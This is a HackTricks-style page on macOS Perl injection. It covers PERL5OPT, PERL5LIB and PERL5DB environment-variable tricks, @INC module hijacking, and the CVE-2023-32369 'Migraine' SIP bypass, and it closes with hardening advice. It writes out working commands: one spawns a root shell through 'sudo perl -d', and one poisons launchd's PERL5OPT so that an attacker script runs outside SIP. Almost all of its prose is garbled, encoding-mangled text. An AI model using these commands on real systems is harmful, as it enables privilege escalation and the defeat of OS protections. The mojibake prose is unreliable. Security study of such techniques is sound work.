macOS Perl Applications Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Via PERL5OPT & PERL5LIB env variable

ํ™˜๊ฒฝ ๋ณ€์ˆ˜ **PERL5OPT**๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด Perl์ด ์ธํ„ฐํ”„๋ฆฌํ„ฐ๊ฐ€ ์‹œ์ž‘๋  ๋•Œ ์ž„์˜์˜ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋Œ€์ƒ ์Šคํฌ๋ฆฝํŠธ์˜ ์ฒซ ๋ฒˆ์งธ ์ค„์ด ๊ตฌ๋ฌธ ๋ถ„์„๋˜๊ธฐ ์ „์—). ์˜ˆ๋ฅผ ๋“ค์–ด, ์ด ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค:

#!/usr/bin/perl
print "Hello from the Perl script!\n";

์ด์ œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ๋‚ด๋ณด๋‚ด๊ณ  perl ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

๋˜ ๋‹ค๋ฅธ ์˜ต์…˜์€ Perl ๋ชจ๋“ˆ์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค (์˜ˆ: /tmp/pmod.pm):

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

๊ทธ๋Ÿฐ ๋‹ค์Œ env ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ชจ๋“ˆ์ด ์ž๋™์œผ๋กœ ์œ„์น˜ํ•˜๊ณ  ๋กœ๋“œ๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl

๋‹ค๋ฅธ ํฅ๋ฏธ๋กœ์šด ํ™˜๊ฒฝ ๋ณ€์ˆ˜

  • PERL5DB โ€“ ์ธํ„ฐํ”„๋ฆฌํ„ฐ๊ฐ€ -d (๋””๋ฒ„๊ฑฐ) ํ”Œ๋ž˜๊ทธ๋กœ ์‹œ์ž‘๋  ๋•Œ, PERL5DB์˜ ๋‚ด์šฉ์€ ๋””๋ฒ„๊ฑฐ ์ปจํ…์ŠคํŠธ ๋‚ด๋ถ€์—์„œ Perl ์ฝ”๋“œ๋กœ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ํŠน๊ถŒ Perl ํ”„๋กœ์„ธ์Šค์˜ ํ™˜๊ฒฝ ๋ฐ ๋ช…๋ น์ค„ ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ชจ๋‘ ์˜ํ–ฅ์„ ๋ฏธ์น  ์ˆ˜ ์žˆ๋‹ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl   # ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์ „์— ์…ธ์„ ๋“œ๋กญํ•ฉ๋‹ˆ๋‹ค
  • PERL5SHELL โ€“ Windows์—์„œ ์ด ๋ณ€์ˆ˜๋Š” Perl์ด ์…ธ์„ ์ƒ์„ฑํ•ด์•ผ ํ•  ๋•Œ ์‚ฌ์šฉํ•  ์…ธ ์‹คํ–‰ ํŒŒ์ผ์„ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค. macOS์™€๋Š” ๊ด€๋ จ์ด ์—†๊ธฐ ๋•Œ๋ฌธ์— ์™„์ „์„ฑ์„ ์œ„ํ•ด ์—ฌ๊ธฐ ์–ธ๊ธ‰๋ฉ๋‹ˆ๋‹ค.

PERL5DB๋Š” -d ์Šค์œ„์น˜๋ฅผ ์š”๊ตฌํ•˜์ง€๋งŒ, ์ด ํ”Œ๋ž˜๊ทธ๊ฐ€ ํ™œ์„ฑํ™”๋œ ์ƒํƒœ๋กœ root๋กœ ์‹คํ–‰๋˜๋Š” ์œ ์ง€ ๊ด€๋ฆฌ ๋˜๋Š” ์„ค์น˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ฐพ๋Š” ๊ฒƒ์€ ์ผ๋ฐ˜์ ์ด๋ฉฐ, ์ด ๋ณ€์ˆ˜๋Š” ์œ ํšจํ•œ ์ƒ์Šน ๋ฒกํ„ฐ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค.

์˜์กด์„ฑ์„ ํ†ตํ•œ (@INC ๋‚จ์šฉ)

Perl์ด ๊ฒ€์ƒ‰ํ•  ํฌํ•จ ๊ฒฝ๋กœ (@INC)๋ฅผ ๋‚˜์—ดํ•˜๋Š” ๊ฒƒ์€ ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์—ฌ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค:

perl -e 'print join("\n", @INC)'

macOS 13/14์˜ ์ผ๋ฐ˜์ ์ธ ์ถœ๋ ฅ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

์ผ๋ถ€ ๋ฐ˜ํ™˜๋œ ํด๋”๋Š” ์กด์žฌํ•˜์ง€ ์•Š์ง€๋งŒ, **/Library/Perl/5.30**๋Š” ์กด์žฌํ•˜๋ฉฐ SIP์— ์˜ํ•ด ๋ณดํ˜ธ๋˜์ง€ ์•Š๊ณ  SIP ๋ณดํ˜ธ ํด๋”๋ณด๋‹ค ์•ž์— ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ, root๋กœ ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์•…์„ฑ ๋ชจ๋“ˆ(์˜ˆ: File/Basename.pm)์„ ๋“œ๋กญํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ํ•ด๋‹น ๋ชจ๋“ˆ์„ ๊ฐ€์ ธ์˜ค๋Š” ๋ชจ๋“  ๊ถŒํ•œ ์žˆ๋Š” ์Šคํฌ๋ฆฝํŠธ์— ์˜ํ•ด ์šฐ์„ ์ ์œผ๋กœ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.

Warning

/Library/Perl ๋‚ด๋ถ€์— ์“ฐ๋ ค๋ฉด ์—ฌ์ „ํžˆ root ๊ถŒํ•œ์ด ํ•„์š”ํ•˜๋ฉฐ, macOS๋Š” ์“ฐ๊ธฐ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๋Š” ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•ด ์ „์ฒด ๋””์Šคํฌ ์ ‘๊ทผ์„ ์š”์ฒญํ•˜๋Š” TCC ํ”„๋กฌํ”„ํŠธ๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ์Šคํฌ๋ฆฝํŠธ๊ฐ€ **use File::Basename;**๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ์žˆ๋‹ค๋ฉด, ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ํฌํ•จํ•˜๋Š” /Library/Perl/5.30/File/Basename.pm์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Migration Assistant๋ฅผ ํ†ตํ•œ SIP ์šฐํšŒ (CVE-2023-32369 โ€œMigraineโ€)

2023๋…„ 5์›”, Microsoft๋Š” CVE-2023-32369๋ฅผ ๊ณต๊ฐœํ–ˆ์œผ๋ฉฐ, ์ด๋Š” Migraine์ด๋ผ๋Š” ๋ณ„๋ช…์„ ๊ฐ€์ง„ ํฌ์ŠคํŠธ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ธฐ์ˆ ๋กœ, root ๊ณต๊ฒฉ์ž๊ฐ€ **์‹œ์Šคํ…œ ๋ฌด๊ฒฐ์„ฑ ๋ณดํ˜ธ(SIP)**๋ฅผ ์™„์ „ํžˆ ์šฐํšŒํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ทจ์•ฝํ•œ ๊ตฌ์„ฑ ์š”์†Œ๋Š” **systemmigrationd**๋กœ, com.apple.rootless.install.heritable ๊ถŒํ•œ์„ ๊ฐ€์ง„ ๋ฐ๋ชฌ์ž…๋‹ˆ๋‹ค. ์ด ๋ฐ๋ชฌ์— ์˜ํ•ด ์ƒ์„ฑ๋œ ๋ชจ๋“  ์ž์‹ ํ”„๋กœ์„ธ์Šค๋Š” ํ•ด๋‹น ๊ถŒํ•œ์„ ์ƒ์†๋ฐ›์•„ SIP ์ œํ•œ ์™ธ๋ถ€์—์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

์—ฐ๊ตฌ์ž๋“ค์ด ํ™•์ธํ•œ ์ž์‹ ์ค‘์—๋Š” Apple ์„œ๋ช… ์ธํ„ฐํ”„๋ฆฌํ„ฐ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค:

/usr/bin/perl /usr/libexec/migrateLocalKDC โ€ฆ

Perl์€ PERL5OPT๋ฅผ ์กด์ค‘ํ•˜๊ณ  (Bash๋Š” BASH_ENV๋ฅผ ์กด์ค‘ํ•˜๋ฏ€๋กœ), ๋ฐ๋ชฌ์˜ ํ™˜๊ฒฝ์„ ์˜ค์—ผ์‹œํ‚ค๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋„ SIP๊ฐ€ ์—†๋Š” ์ปจํ…์ŠคํŠธ์—์„œ ์ž„์˜ ์‹คํ–‰์„ ์–ป๊ธฐ์— ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค:

# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'

# Trigger a migration (or just wait โ€“ systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app"   # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility

migrateLocalKDC๊ฐ€ ์‹คํ–‰๋˜๋ฉด, /usr/bin/perl์ด ์•…์„ฑ PERL5OPT์™€ ํ•จ๊ป˜ ์‹œ์ž‘๋˜๊ณ  /private/tmp/migraine.sh๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค SIP๊ฐ€ ๋‹ค์‹œ ํ™œ์„ฑํ™”๋˜๊ธฐ ์ „์—. ๊ทธ ์Šคํฌ๋ฆฝํŠธ์—์„œ ์˜ˆ๋ฅผ ๋“ค์–ด, /System/Library/LaunchDaemons ๋‚ด๋ถ€์— ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋ณต์‚ฌํ•˜๊ฑฐ๋‚˜ com.apple.rootless ํ™•์žฅ ์†์„ฑ์„ ํ• ๋‹นํ•˜์—ฌ ํŒŒ์ผ์„ ์‚ญ์ œํ•  ์ˆ˜ ์—†๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Apple์€ macOS Ventura 13.4, Monterey 12.6.6 ๋ฐ Big Sur 11.7.7์—์„œ ์ด ๋ฌธ์ œ๋ฅผ ์ˆ˜์ •ํ–ˆ์ง€๋งŒ, ์ด์ „ ๋ฒ„์ „์ด๋‚˜ ํŒจ์น˜๋˜์ง€ ์•Š์€ ์‹œ์Šคํ…œ์€ ์—ฌ์ „ํžˆ ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค.

Hardening recommendations

  1. ์œ„ํ—˜ํ•œ ๋ณ€์ˆ˜ ์ง€์šฐ๊ธฐ โ€“ ๊ถŒํ•œ์ด ์žˆ๋Š” launchdaemons ๋˜๋Š” cron ์ž‘์—…์€ ๊นจ๋—ํ•œ ํ™˜๊ฒฝ์—์„œ ์‹œ์ž‘ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค (launchctl unsetenv PERL5OPT, env -i ๋“ฑ).
  2. ์—„๊ฒฉํžˆ ํ•„์š”ํ•˜์ง€ ์•Š๋Š” ํ•œ ๋ฃจํŠธ๋กœ ์ธํ„ฐํ”„๋ฆฌํ„ฐ ์‹คํ–‰ ํ”ผํ•˜๊ธฐ. ์ปดํŒŒ์ผ๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ๊ถŒํ•œ์„ ์กฐ๊ธฐ์— ๋‚ฎ์ถ”์‹ญ์‹œ์˜ค.
  3. -T (taint mode)๋กœ ๊ณต๊ธ‰์—…์ฒด ์Šคํฌ๋ฆฝํŠธ ์‚ฌ์šฉํ•˜๊ธฐ. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด Perl์ด taint ์ฒดํฌ๊ฐ€ ํ™œ์„ฑํ™”๋  ๋•Œ PERL5OPT ๋ฐ ๊ธฐํƒ€ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์Šค์œ„์น˜๋ฅผ ๋ฌด์‹œํ•ฉ๋‹ˆ๋‹ค.
  4. macOS๋ฅผ ์ตœ์‹  ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜๊ธฐ โ€“ โ€œMigraineโ€์€ ํ˜„์žฌ ๋ฆด๋ฆฌ์Šค์—์„œ ์™„์ „ํžˆ ํŒจ์น˜๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

References

  • Microsoft Security Blog โ€“ โ€œNew macOS vulnerability, Migraine, could bypass System Integrity Protectionโ€ (CVE-2023-32369), May 30 2023.
  • Hackyboiz โ€“ โ€œmacOS SIP Bypass (PERL5OPT & BASH_ENV) researchโ€, May 2025.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ